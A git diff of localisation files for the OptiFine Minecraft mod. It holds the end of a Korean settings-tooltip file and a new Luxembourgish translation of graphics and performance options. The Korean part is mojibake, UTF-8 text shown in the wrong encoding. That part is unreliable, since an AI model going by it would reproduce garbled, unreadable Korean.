ë™ì  조명 (실시간으로 갱신) +of.options.DYNAMIC_LIGHTS.tooltip.5=ë¹›ì„ ë‚´ëŠ” ì•„ì´í…œ(횃불, ë°œê´‘ì„ ë“±)ì„ í™œì„±í™”í•´ ì†ì— +of.options.DYNAMIC_LIGHTS.tooltip.6=들렸거나 다른 플레ì´ì–´ì—게 장착ë거나 ë°”ë‹¥ì— +of.options.DYNAMIC_LIGHTS.tooltip.7=ë–¨ì–´ì¡Œì„ ë•Œ ì£¼ë³€ì„ ë¹„ì¶”ë„ë¡ í•©ë‹ˆë‹¤. + +# Performance + +of.options.SMOOTH_FPS=부드러운 FPS +of.options.SMOOTH_FPS.tooltip.1=그래픽 ë“œë¼ì´ë²„ 버í¼ë¥¼ 비워 FPS를 안정화합니다. +of.options.SMOOTH_FPS.tooltip.2= êº¼ì§ - 안정화 ì—†ìŒ, FPSê°€ ìš”ë™ì¹  수 ìžˆìŒ +of.options.SMOOTH_FPS.tooltip.3= ì¼œì§ - FPS 안정화 +of.options.SMOOTH_FPS.tooltip.4=ì´ ì„¤ì •ì€ ê·¸ëž˜í”½ ë“œë¼ì´ë²„ ì˜ì¡´ì ì´ë©° +of.options.SMOOTH_FPS.tooltip.5=효과가 í–¥ìƒ ë³´ì´ì§€ëŠ” 않습니다. + +of.options.SMOOTH_WORLD=부드러운 세계 +of.options.SMOOTH_WORLD.tooltip.1=내부 서버ì—ì„œ ì¼ì–´ë‚˜ëŠ” ëž™ 급ì¦ì„ 제거합니다. +of.options.SMOOTH_WORLD.tooltip.2= êº¼ì§ - 안정화 ì—†ìŒ, FPSê°€ ìš”ë™ì¹  수 ìžˆìŒ +of.options.SMOOTH_WORLD.tooltip.3= ì¼œì§ - FPS 안정화 +of.options.SMOOTH_WORLD.tooltip.4=내부 서버 부하를 분배해 FPS를 안정화합니다. +of.options.SMOOTH_WORLD.tooltip.5=로컬 세계(싱글플레ì´)ì—서만 효과가 있습니다. + +of.options.FAST_RENDER=빠른 ë Œë” +of.options.FAST_RENDER.tooltip.1=빠른 ë Œë” +of.options.FAST_RENDER.tooltip.2= êº¼ì§ - 표준 ë Œë”ë§ (기본) +of.options.FAST_RENDER.tooltip.3= ì¼œì§ - 최ì í™”ëœ ë Œë”ë§ (빠름) +of.options.FAST_RENDER.tooltip.4=ë Œë”ë§ ì•Œê³ ë¦¬ì¦˜ 최ì í™”ë¡œ GPU 로드를 줄여 +of.options.FAST_RENDER.tooltip.5=FPS를 í¬ê²Œ í–¥ìƒì‹œí‚¬ 수 있습니다. + +of.options.FAST_MATH=빠른 계산 +of.options.FAST_MATH.tooltip.1=빠른 계산 +of.options.FAST_MATH.tooltip.2= êº¼ì§ - 표준 계산 (기본) +of.options.FAST_MATH.tooltip.3= ì¼œì§ - 빠른 계산 +of.options.FAST_MATH.tooltip.4=최ì í™”ëœ sin()ê³¼ cos() 함수를 사용하여 CPU ìºì‹œë¥¼ ë” +of.options.FAST_MATH.tooltip.5=잘 활용하고 FPS를 높입니다. + +of.options.CHUNK_UPDATES=ì²­í¬ ê°±ì‹  +of.options.CHUNK_UPDATES.tooltip.1=ì²­í¬ ê°±ì‹  +of.options.CHUNK_UPDATES.tooltip.2= 1 - ë” ëŠë¦° 세계 불러오기, ë” ë†’ì€ FPS (기본) +of.options.CHUNK_UPDATES.tooltip.3= 3 - 빠른 세계 불러오기, ëŠë¦° FPS +of.options.CHUNK_UPDATES.tooltip.4= 5 - 가장 빠른 세계 불러오기, 가장 ëŠë¦° FPS +of.options.CHUNK_UPDATES.tooltip.5=ë Œë”ëœ í”„ë ˆìž„ë‹¹ ì²­í¬ ê°±ì‹  수를 지정합니다. +of.options.CHUNK_UPDATES.tooltip.6=ë†’ì€ ê°’ì€ í”„ë ˆìž„ë¥ ì„ ë¶ˆì•ˆì •í•˜ê²Œ 만들 수 있습니다. + +of.options.CHUNK_UPDATES_DYNAMIC=ë™ì  갱신 +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=ë™ì  ì²­í¬ ê°±ì‹  +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= êº¼ì§ - 표준 프레임당 ì²­í¬ ê°±ì‹  (기본) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= ì¼œì§ - 플레ì´ì–´ê°€ 가만히 ì„œìžˆì„ ë•Œ ë” ë§Žì€ ê°±ì‹  +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=ë™ì  ê°±ì‹ ì€ í”Œë ˆì´ì–´ê°€ 가만히 ì„œìžˆì„ ë•Œ ë” ë§Žì€ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=ì²­í¬ ê°±ì‹ ì„ ê°•ì œí•´ 세계를 빠르게 불러옵니다. + +of.options.LAZY_CHUNK_LOADING=ëŠê¸‹í•˜ê²Œ ì²­í¬ ë¶ˆëŸ¬ì˜¤ê¸° +of.options.LAZY_CHUNK_LOADING.tooltip.1=ëŠê¸‹í•˜ê²Œ ì²­í¬ ë¶ˆëŸ¬ì˜¤ê¸° +of.options.LAZY_CHUNK_LOADING.tooltip.2= êº¼ì§ - 기본 서버 ì²­í¬ ë¶ˆëŸ¬ì˜¤ê¸° +of.options.LAZY_CHUNK_LOADING.tooltip.3= ì¼œì§ - ëŠê¸‹í•˜ê²Œ 서버 ì²­í¬ ë¶ˆëŸ¬ì˜¤ê¸° (부드러움) +of.options.LAZY_CHUNK_LOADING.tooltip.4=ì²­í¬ë¥¼ 여러 틱으로 분배해 통합 서버 ì²­í¬ +of.options.LAZY_CHUNK_LOADING.tooltip.5=불러오기를 부드럽게 합니다. +of.options.LAZY_CHUNK_LOADING.tooltip.6=ì„¸ê³„ì˜ ì¼ë¶€ë¥¼ 정확히 불러오지 않으면 꺼ì§ìœ¼ë¡œ 설정해 주십시오. +of.options.LAZY_CHUNK_LOADING.tooltip.7=로컬 세계와 싱글코어 CPUì—만 효과가 있습니다. + +# Animations + +of.options.animation.allOn=ëª¨ë‘ ì¼œì§ìœ¼ë¡œ +of.options.animation.allOff=ëª¨ë‘ êº¼ì§ìœ¼ë¡œ +of.options.animation.dynamic=ë™ì  + +of.options.ANIMATED_WATER=물 애니메ì´ì…˜ +of.options.ANIMATED_LAVA=ìš©ì•” 애니메ì´ì…˜ +of.options.ANIMATED_FIRE=불 애니메ì´ì…˜ +of.options.ANIMATED_PORTAL=관문 애니메ì´ì…˜ +of.options.ANIMATED_REDSTONE=레드스톤 애니메ì´ì…˜ +of.options.ANIMATED_EXPLOSION=í­ë°œ 애니메ì´ì…˜ +of.options.ANIMATED_FLAME=화염 애니메ì´ì…˜ +of.options.ANIMATED_SMOKE=연기 애니메ì´ì…˜ +of.options.VOID_PARTICLES=공허 ìž…ìž +of.options.WATER_PARTICLES=물 ìž…ìž +of.options.RAIN_SPLASH=비 튀김 +of.options.PORTAL_PARTICLES=관문 ìž…ìž +of.options.POTION_PARTICLES=물약 ìž…ìž +of.options.DRIPPING_WATER_LAVA=물/ìš©ì•” 방울 +of.options.ANIMATED_TERRAIN=지형 애니메ì´ì…˜ +of.options.ANIMATED_TEXTURES=í…스처 애니메ì´ì…˜ +of.options.FIREWORK_PARTICLES=í­ì£½ ìž…ìž + +# Other + +of.options.LAGOMETER=지연계 +of.options.LAGOMETER.tooltip.1=디버그 화면(F3)ì— ì§€ì—°ê³„ë¥¼ 표시합니다. +of.options.LAGOMETER.tooltip.2=* 주황색 - 메모리 쓰레기 수집 +of.options.LAGOMETER.tooltip.3=* ì²­ë¡ìƒ‰ - 틱 +of.options.LAGOMETER.tooltip.4=* 파란색 - ì˜ˆì•½ëœ ì‹¤í–‰ +of.options.LAGOMETER.tooltip.5=* ë³´ë¼ìƒ‰ - ì²­í¬ ì—…ë¡œë“œ +of.options.LAGOMETER.tooltip.6=* 빨간색 - ì²­í¬ ê°±ì‹  +of.options.LAGOMETER.tooltip.7=* 노란색 - 가시성 검사 +of.options.LAGOMETER.tooltip.8=* ì´ˆë¡ìƒ‰ - 지형 ë Œë” + +of.options.PROFILER=디버그 프로파ì¼ëŸ¬ +of.options.PROFILER.tooltip.1=디버그 프로파ì¼ëŸ¬ +of.options.PROFILER.tooltip.2= ì¼œì§ - 디버그 프로파ì¼ëŸ¬ê°€ 켜ì§, ëŠë¦¼ +of.options.PROFILER.tooltip.3= êº¼ì§ - 디버그 프로파ì¼ëŸ¬ê°€ 꺼ì§, 빠름 +of.options.PROFILER.tooltip.4=디버그 프로파ì¼ëŸ¬ëŠ” 디버그 화면(F3)ì´ ì—´ë ¤ +of.options.PROFILER.tooltip.5=ìžˆì„ ë•Œ 디버그 정보를 수집해 표시합니다. + +of.options.WEATHER=날씨 +of.options.WEATHER.tooltip.1=날씨 +of.options.WEATHER.tooltip.2= ì¼œì§ - 날씨가 켜ì§, ëŠë¦¼ +of.options.WEATHER.tooltip.3= êº¼ì§ - 날씨가 꺼ì§, 빠름 +of.options.WEATHER.tooltip.4=날씨는 비와 눈, 뇌우를 조정합니다. +of.options.WEATHER.tooltip.5=날씨 ì¡°ì •ì€ ë¡œì»¬ 세계ì—서만 가능합니다. + +of.options.time.dayOnly=낮만 +of.options.time.nightOnly=밤만 + +of.options.TIME=시간 +of.options.TIME.tooltip.1=시간 +of.options.TIME.tooltip.2= 기본 - 보통 ë‚®/ë°¤ 주기 +of.options.TIME.tooltip.3= 낮만 - 낮만 +of.options.TIME.tooltip.4= 밤만 - 밤만 +of.options.TIME.tooltip.5=시간 ì„¤ì •ì€ í¬ë¦¬ì—ì´í‹°ë¸Œ 모드와 로컬 세게ì—서만 +of.options.TIME.tooltip.6=효과가 있습니다. + +options.fullscreen.tooltip.1=ì „ì²´ 화면 +options.fullscreen.tooltip.2= ì¼œì§ - ì „ì²´ 화면 모드 사용 +options.fullscreen.tooltip.3= êº¼ì§ - ì°½ 모드 사용 +options.fullscreen.tooltip.4=ì „ì²´ 화면 모드는 그래픽 ì¹´ë“œì— ë”°ë¼ +options.fullscreen.tooltip.5=ì°½ 모드보다 빠르거나 ëŠë¦´ 수 있습니다. + +of.options.FULLSCREEN_MODE=ì „ì²´ 화면 모드 +of.options.FULLSCREEN_MODE.tooltip.1=ì „ì²´ 화면 모드 +of.options.FULLSCREEN_MODE.tooltip.2= 기본 - ë°ìŠ¤í¬í†± 화면 í•´ìƒë„ 사용, ëŠë¦¼ +of.options.FULLSCREEN_MODE.tooltip.3= 너비xë†’ì´ - ì‚¬ìš©ìž ì§€ì • í•´ìƒë„ 사용, ë” ë¹ ë¥¼ 수 ìžˆìŒ +of.options.FULLSCREEN_MODE.tooltip.4=ì„ íƒí•œ í•´ìƒë„를 ì „ì²´ 화면 모드(F11)ì—ì„œ 사용합니다. +of.options.FULLSCREEN_MODE.tooltip.5=ë‚®ì€ í•´ìƒë„ê°€ ì¼ë°˜ì ìœ¼ë¡œ 빠릅니다. + +of.options.SHOW_FPS=FPS 표시 +of.options.SHOW_FPS.tooltip.1=소형 FPS ë° ë Œë” ì •ë³´ë¥¼ 표시합니다. +of.options.SHOW_FPS.tooltip.2= C: - ì²­í¬ ë Œë”러 +of.options.SHOW_FPS.tooltip.3= E: - ë Œë”ëœ ê°œì²´ + ë¸”ë¡ ê°œì²´ +of.options.SHOW_FPS.tooltip.4= U: - ì²­í¬ ê°±ì‹  +of.options.SHOW_FPS.tooltip.5=소형 FPS 정보는 디버그 í™”ë©´ì´ +of.options.SHOW_FPS.tooltip.6=ë³´ì´ì§€ ì•Šì„ ë•Œì—만 표시ë©ë‹ˆë‹¤. + +of.options.save.default=기본 (2ì´ˆ) +of.options.save.20s=20ì´ˆ +of.options.save.3min=3분 +of.options.save.30min=30분 + +of.options.AUTOSAVE_TICKS=ìžë™ 저장 +of.options.AUTOSAVE_TICKS.tooltip.1=ìžë™ 저장 간격 +of.options.AUTOSAVE_TICKS.tooltip.2=기본 ìžë™ 저장 간격(2ì´ˆ)ì„ ê¶Œìž¥í•˜ì§€ 않습니다. +of.options.AUTOSAVE_TICKS.tooltip.3=ìžë™ ì €ìž¥ì€ ê·¸ 유명한 죽ìŒì˜ ëž™ 급ì¦ì„ 야기합니다. + +of.options.SCREENSHOT_SIZE=스í¬ë¦°ìƒ· í¬ê¸° +of.options.SCREENSHOT_SIZE.tooltip.1=스í¬ë¦°ìƒ· í¬ê¸° +of.options.SCREENSHOT_SIZE.tooltip.2= 기본 - 기본 스í¬ë¦°ìƒ· í¬ê¸° +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - ì‚¬ìš©ìž ì§€ì • 스í¬ë¦°ìƒ· í¬ê¸° +of.options.SCREENSHOT_SIZE.tooltip.4=í° ìŠ¤í¬ë¦°ìƒ·ì„ 캡ì³í•˜ëŠ” ë° ë§Žì€ ë©”ëª¨ë¦¬ê°€ 필요할 수 있습니다. +of.options.SCREENSHOT_SIZE.tooltip.5=빠른 ë Œë”와 안티ì—ì¼ë¦¬ì–´ì‹±ê³¼ 호환ë˜ì§€ 않습니다. +of.options.SCREENSHOT_SIZE.tooltip.6=GPU í”„ë ˆìž„ë²„í¼ ì§€ì›ì´ 필요합니다. diff --git a/src/assets/minecraft/optifine/lang/lb_lu.lang b/src/assets/minecraft/optifine/lang/lb_lu.lang new file mode 100644 index 00000000..937fb924 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/lb_lu.lang @@ -0,0 +1,740 @@ +# Contributors of Luxembourgish localization # +# Hyperspacemaster ---- 2016-04-06 ---- 2018-09-04 + +# General +of.general.ambiguous=onkloer +of.general.custom=Aneres +of.general.from=Vun +of.general.id=ID +of.general.restart=Neistart +of.general.smart=Fein + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=Antialiasing ass net kompatibel mat de Shader. +of.message.aa.shaders2=W.e.g. schalt de Shader aus fir des Optioun ze aktivéieren. + +of.message.af.shaders1=Anisotropescht Filteren ass net kompatibel mat de Shader. +of.message.af.shaders2=W.e.g. schalt de Shader aus fir des Optioun ze aktivéieren. + +of.message.fr.shaders1=Schnellt Renderen ass net kompatibel mat de de Shader. +of.message.fr.shaders2=W.e.g. schalt de Shader aus fir des Optioun ze aktivéieren. + +of.message.an.shaders1=3D Anaglyph ass net kompatibel mat de Shader. +of.message.an.shaders2=W.e.g. schalt de Shader aus fir des Optioun ze aktivéieren. + +of.message.shaders.aa1=Antialiasing ass net kompatibel mat de Shader . +of.message.shaders.aa2=W.e.g desaktivéier Qualitéit -> Antialiasing a start däi Spill nei. + +of.message.shaders.af1=Anisotropescht Filteren ass net kompatibel mat de Shader. +of.message.shaders.af2=W.e.g desaktivéier Qualitéit -> Anisotropescht Filteren. + +of.message.shaders.fr1=Shader sinn net kompatibel mat schnellem Renderen. +of.message.shaders.fr2=W.e.g desaktivéier Qualitéit -> Schnellt Renderen. + +of.message.shaders.an1=Shader sinn net kompatibel mam 3D Anaglyph. +of.message.shaders.an2=W.e.g desaktivéier Verschiddenes -> 3D Anaglyph. + +of.message.shaders.nv1=Dëse Shaderpak erfuerdert eng méi eng nei Versioun vun OptiFine: %s +of.message.shaders.nv2=Bass du sécher, dass du fortfuere wëlls? + +of.message.newVersion=Eng nei §eOptiFine§f Versioun ass verfügbar: §e%s§f +of.message.java64Bit=Du kanns §e64-bit Java§f installéiere fir eng besser Performance. +of.message.openglError=§eOpenGL Feeler§f: %s (%s) + +of.message.shaders.loading=D'Shader gi gelueden: %s + +of.message.other.reset=All d'Videoastellungen ob hier Standardwäerter zerécksetzen? + +of.message.loadingVisibleChunks=Siichtbar Chunks gi gelueden + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine Emhang ... + +# Video settings + +options.graphics.tooltip.1=Grafikmodus +options.graphics.tooltip.2= Schnell - méi schlecht Qualitéit, méi schnell +options.graphics.tooltip.3= Schéin - héich Qualitéit, méi lues +options.graphics.tooltip.4=Verännert d'Ausgesi vun de Wolleken, Blieder, Grasbléck, +options.graphics.tooltip.5=Schieter a vum Waasser. + +of.options.renderDistance.tiny=Winzeg +of.options.renderDistance.short=Geréng +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Wéit +of.options.renderDistance.extreme=Extrem +of.options.renderDistance.insane=Verréckt +of.options.renderDistance.ludicrous=Wahnsinn + +options.renderDistance.tooltip.1=Siichtwéit +options.renderDistance.tooltip.2= 2 Winzeg - 32m (am schnellsten) +options.renderDistance.tooltip.3= 8 Normal - 128m (normal) +options.renderDistance.tooltip.4= 16 Wéit - 256m (lues) +options.renderDistance.tooltip.5= 32 Extrem - 512m (am luesten!) brauch vill Ressourcen +options.renderDistance.tooltip.6= 48 Verréckt - 768m, brauch 2GB RAM zougedeelt +options.renderDistance.tooltip.7= 64 Wahnsinn - 1024m, brauch 3GB RAM zougedeelt +options.renderDistance.tooltip.8=Wäerter iwwer 16 funktionéieren nëmmen am Singleplayer. + +options.ao.tooltip.1=Fléissend Beliichtung +options.ao.tooltip.2= Aus - keng fléissend Beliichtung (schnell) +options.ao.tooltip.3= Minimum - einfach fléissend Beliichtung (lues) +options.ao.tooltip.4= Maximum - komplex fléissend Beliichtung (am luesten) + +options.framerateLimit.tooltip.1=Max. FPS +options.framerateLimit.tooltip.2= VSync - limitéiert ob d'Bildfrequenz vum +options.framerateLimit.tooltip.3= Moniteur (60, 30, 20) +options.framerateLimit.tooltip.4= 5-255 - variabel +options.framerateLimit.tooltip.5= Illimitéiert - keng Begrenzung (am schnellsten) +options.framerateLimit.tooltip.6=D'Bildfrequenz grenzt FPS an, souguer wann +options.framerateLimit.tooltip.7=d'Begrenzung net erreecht ass. +of.options.framerateLimit.vsync=V-Sync + +of.options.AO_LEVEL=Schiet-Hellegkeet +of.options.AO_LEVEL.tooltip.1=Hellegkeet vun de Schieter +of.options.AO_LEVEL.tooltip.2= Aus - keng Schieter +of.options.AO_LEVEL.tooltip.3= 50%% - hell Schieter +of.options.AO_LEVEL.tooltip.4= 100%% - donkel Schieter + +options.viewBobbing.tooltip.1=Realistesch Beweegungen +options.viewBobbing.tooltip.2=Wann Mipmaps genotzt ginn desaktivéiert d'Astellung +options.viewBobbing.tooltip.3=fir eng besser Leeschtung + +options.guiScale.tooltip.1=GUI Gréisst +options.guiScale.tooltip.2= Auto - Maximal Gréisst +options.guiScale.tooltip.3= Kleng, Normal, Grouss - 1x - 3x +options.guiScale.tooltip.4= 4x - 10x - Verfügbar of 4K-Moniteuren +options.guiScale.tooltip.5=Ongerued Wäerter (1x, 3x, 5x ...) sinn net kompatibel +options.guiScale.tooltip.6=mat der Unicode-Schrëft. +options.guiScale.tooltip.7=Ee méi klengt GUI ka méi schnell sinn. + +options.vbo=VBOs benotzen +options.vbo.tooltip.1=Vertexbufferobjeten +options.vbo.tooltip.2=Benotz een alternative Rendermodel, deen normalerweis +options.vbo.tooltip.3=méi schnell (5-10%%) wei d'Standard-Renderen ass. + +options.gamma.tooltip.1=Erhéicht d'Hellegkeet vun donkelen Objeten +options.gamma.tooltip.2= Aus - Standardhellegkeet +options.gamma.tooltip.3= 1-99%% - variabel +options.gamma.tooltip.4= Hell - maximal Hellegkeet fir donkel Objeten +options.gamma.tooltip.5=Dës Optioun ännert d'Hellegkeet vu ganz donkelen +options.gamma.tooltip.6=Objeten net. + +options.anaglyph.tooltip.1=3D Anaglyph +options.anaglyph.tooltip.2=Aktivéiert ee stereoskopeschen 3D-Effekt duerch +options.anaglyph.tooltip.3=benotze vun ënnerschiddleche Faarwe fir d'Aen. +options.anaglyph.tooltip.4=Kann nëmme mat engem Rout-Turquoise-Brëll benotzt ginn. + +of.options.ALTERNATE_BLOCKS=Blockvariatiounen +of.options.ALTERNATE_BLOCKS.tooltip.1=Blockvariatiounen +of.options.ALTERNATE_BLOCKS.tooltip.2=Benotzt Variatioune fir puer Bléck +of.options.ALTERNATE_BLOCKS.tooltip.3=Hänkt vum ausgewielte Ressourcepak of. + +of.options.FOG_FANCY=Niwwel +of.options.FOG_FANCY.tooltip.1=Niwwel +of.options.FOG_FANCY.tooltip.2= Schnell - schnellen Niwwel +of.options.FOG_FANCY.tooltip.3= Schéin - luesen Niwwel, gesäit besser aus +of.options.FOG_FANCY.tooltip.4= Aus - keen Niwwel, am schnellsten +of.options.FOG_FANCY.tooltip.5=De schéinen Niwwel ass nëmme verfügbar, wann en vun +of.options.FOG_FANCY.tooltip.6=der Grafikkaart ënnerstëtzt gëtt. + +of.options.FOG_START=Niwwel Startpunkt +of.options.FOG_START.tooltip.1=Niwwel Startpunkt +of.options.FOG_START.tooltip.2= 0.2 - Niwwel start no beim Spiller +of.options.FOG_START.tooltip.3= 0.8 - Niwwel start weit vum Spiller ewech +of.options.FOG_START.tooltip.4=Dës Optioun beaflosst normalerweis net d'Leeschtung + +of.options.CHUNK_LOADING=Chunklueden +of.options.CHUNK_LOADING.tooltip.1=Chunklueden +of.options.CHUNK_LOADING.tooltip.2= Standard - onstabil FPS beim Luede vun de Chunks +of.options.CHUNK_LOADING.tooltip.3= Fléissend - stabil FPS +of.options.CHUNK_LOADING.tooltip.4= Multi-Core - stabil FPS, 3x méi schnellt d'Luede vun der Welt +of.options.CHUNK_LOADING.tooltip.5=Fléissend a Multi-Core mécht Ruckler a Standbiller +of.options.CHUNK_LOADING.tooltip.6=fort déi durch d'Luede vun de Chunks verursaacht ginn. +of.options.CHUNK_LOADING.tooltip.7=Multi-Core kann d'Luede vun der Welt bis zu 3x méi schnell +of.options.CHUNK_LOADING.tooltip.8=maachen a FPS erhéijen duerch een zweete CPU-Kär. +of.options.chunkLoading.smooth=Fléissend +of.options.chunkLoading.multiCore=Multi-Core + +of.options.shaders=Shader ... +of.options.shadersTitle=Shader + +of.options.shaders.packNone=Aus +of.options.shaders.packDefault=(intern) + +of.options.shaders.ANTIALIASING=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.1=Antialiasing +of.options.shaders.ANTIALIASING.tooltip.2= Aus - (Standard) keen Antialiasing (méi schnell) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - antialiséiert Linnen a Kanten (méi lues) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA ass een Nobeaarbechtungseffekt dee zackeg +of.options.shaders.ANTIALIASING.tooltip.5=Linnen an haart Faarweniwwergäng ofschwächt. +of.options.shaders.ANTIALIASING.tooltip.6=Et ass méi schnell wei traditionellen Antialiasing +of.options.shaders.ANTIALIASING.tooltip.7=an ass kompatibel mat Shader a Schnellt Renderen. + +of.options.shaders.NORMAL_MAP=Normalkaarten +of.options.shaders.NORMAL_MAP.tooltip.1=Normalkaarten +of.options.shaders.NORMAL_MAP.tooltip.2= Un - (Standard) aktivéier Normalkaarten +of.options.shaders.NORMAL_MAP.tooltip.3= Aus - desaktivéier Normalkaarten +of.options.shaders.NORMAL_MAP.tooltip.4=Normalkaarte kënne vu Shaderpäck benotzt +of.options.shaders.NORMAL_MAP.tooltip.5=ginn, fir 3D-Geometrie op flaachen Uewerflächen +of.options.shaders.NORMAL_MAP.tooltip.6=ze simuléieren. +of.options.shaders.NORMAL_MAP.tooltip.7=Normalkaarte gi vum aktivéierte Ressourcepak +of.options.shaders.NORMAL_MAP.tooltip.8=zur Verfügung gestallt. + +of.options.shaders.SPECULAR_MAP=Reflexiounskaart. +of.options.shaders.SPECULAR_MAP.tooltip.1=Reflexiounskaarten +of.options.shaders.SPECULAR_MAP.tooltip.2= Un - (Standard) aktivéier Reflexiounskaarten +of.options.shaders.SPECULAR_MAP.tooltip.3= Aus - desaktivéier Reflexiounskaarten +of.options.shaders.SPECULAR_MAP.tooltip.4=Reflexiounskaarte kënne vu Shaderpäck benotzt +of.options.shaders.SPECULAR_MAP.tooltip.5=ginn, fir speziell Reflexiouns Effekter ze simuléieren. +of.options.shaders.SPECULAR_MAP.tooltip.6=Reflexiounskaarte gi vum aktivéierte Ressourcepak +of.options.shaders.SPECULAR_MAP.tooltip.7=zur Verfügung gestallt. + +of.options.shaders.RENDER_RES_MUL=Renderqualitéit +of.options.shaders.RENDER_RES_MUL.tooltip.1=Render Qualitéit +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - Niddreg (am schnellsten) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - Standard +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - Héich (am luesten) +of.options.shaders.RENDER_RES_MUL.tooltip.5=D'Render Qualitéit reegelt d'Opléisung vun der Textur +of.options.shaders.RENDER_RES_MUL.tooltip.6=op deenen d'Shader gerendert ginn. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Niddreg Wäerter kënne bei 4K-Moniteur nëtzlech ginn. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Héich Wäerter wierke wéi een Antialiasing-Filter. + +of.options.shaders.SHADOW_RES_MUL=Schietqualitéit +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Schietqualitéit +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - Niddreg (am schnellsten) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - Standard +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - Héich (am luesten) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=D'Schietqualitéit reegelt d'Opléisung vun der Schieter +of.options.shaders.SHADOW_RES_MUL.tooltip.6=Kaarten Textur vum benotzte Shaderpak. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Niddreg Wäerter = Ongenau, graff Schieter. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Héich Wäerter = Detailléiert, fein Schieter + +of.options.shaders.HAND_DEPTH_MUL=Handdéift +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Handdéift +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - Hand an der Kameragéigend +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (Standard) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - Hand méi weit vun der Kamera fort +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=D'Handdéift steiert, wei weit Géigestänn vun der +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=Kamera fort sinn. +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=Fir Shaderpäck mat Déiftenonschäerft reegelt dës +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=d'Onschäerft vun den drobare Géigestänn. + +of.options.shaders.CLOUD_SHADOW=Wollekeschiet + +of.options.shaders.OLD_HAND_LIGHT=Al Handbel. +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Al Handbeliichtung +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Standard - Kontrolléiert vum Shaderpak +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Un - Al Handbeliichtung gëtt benotzt +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= Aus - Néi Handbeliichtung gëtt benotzt +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=D'al Handbeliichtung suergt dofir, dass Shaderpäck +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=déi liichtend Objeten an der Haapthand erkennen och +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=mat Objeten an der Niewenhand funktionéieren. + +of.options.shaders.OLD_LIGHTING=Al Beliicht. +of.options.shaders.OLD_LIGHTING.tooltip.1=Al Beliichtung +of.options.shaders.OLD_LIGHTING.tooltip.2= Standard - Kontrolléiert vum Shaderpak +of.options.shaders.OLD_LIGHTING.tooltip.3= Un - Al Beliichtung gëtt benotzt +of.options.shaders.OLD_LIGHTING.tooltip.4= OFF - Al Beliichtung gëtt net benotzt +of.options.shaders.OLD_LIGHTING.tooltip.5=Déi al Beliichtung steiert déi fix "Vanilla" +of.options.shaders.OLD_LIGHTING.tooltip.6=Beliichtung vun de Blocksäiten. +of.options.shaders.OLD_LIGHTING.tooltip.7=Shaderpäck mat Schieter ofhängeg vum Sonnestand +of.options.shaders.OLD_LIGHTING.tooltip.8=stëlle meeschtens eng besser Beliichtung zur Verfügung. + +of.options.shaders.DOWNLOAD=Shader eroflueden +of.options.shaders.DOWNLOAD.tooltip.1=Shader eroflueden +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Mëscht Shaderpäck Websäit am Browser op. +of.options.shaders.DOWNLOAD.tooltip.4=Verschib den erofgeluede Shaderpak an de +of.options.shaders.DOWNLOAD.tooltip.5=Shaderfichier esou erschéngt deen an der lëscht +of.options.shaders.DOWNLOAD.tooltip.6=mat den installéierte Shader. + +of.options.shaders.SHADER_PACK=Shaderpak + +of.options.shaders.shadersFolder=Shaderfichier +of.options.shaders.shaderOptions=Shaderastellungen ... + +of.options.shaderOptionsTitle=Shaderastellungen + +of.options.quality=Qualitéit ... +of.options.qualityTitle=Qualitéitsastellungen + +of.options.details=Detailer ... +of.options.detailsTitle=Detailastellungen + +of.options.performance=Performance ... +of.options.performanceTitle=Performanceastellungen + +of.options.animations=Animatiounen ... +of.options.animationsTitle=Animatiounsastellungen + +of.options.other=Verschiddenes ... +of.options.otherTitle=Veschidden Astellungen + +of.options.other.reset=Videoastellungen zerécksetzen ... + +of.shaders.profile=Profil + +# Quality + +of.options.mipmap.bilinear=Bilinear +of.options.mipmap.linear=Linear +of.options.mipmap.nearest=Am noosten +of.options.mipmap.trilinear=Trilinear + +options.mipmapLevels.tooltip.1=Visuellen Effekt deen Objeten aus grousser +options.mipmapLevels.tooltip.2=Distanz besser ausgesi léisst duerch verréngere +options.mipmapLevels.tooltip.3=vun den Texturdetailer. +options.mipmapLevels.tooltip.4= Aus - keng Verréngerung vun Detailer +options.mipmapLevels.tooltip.5= 1 - minimal Verréngerung vun Detailer +options.mipmapLevels.tooltip.6= 4 - maximal Verréngerung vun Detailer +options.mipmapLevels.tooltip.7=Dës Optioun beaflosst normalerweis d'Performance net. + 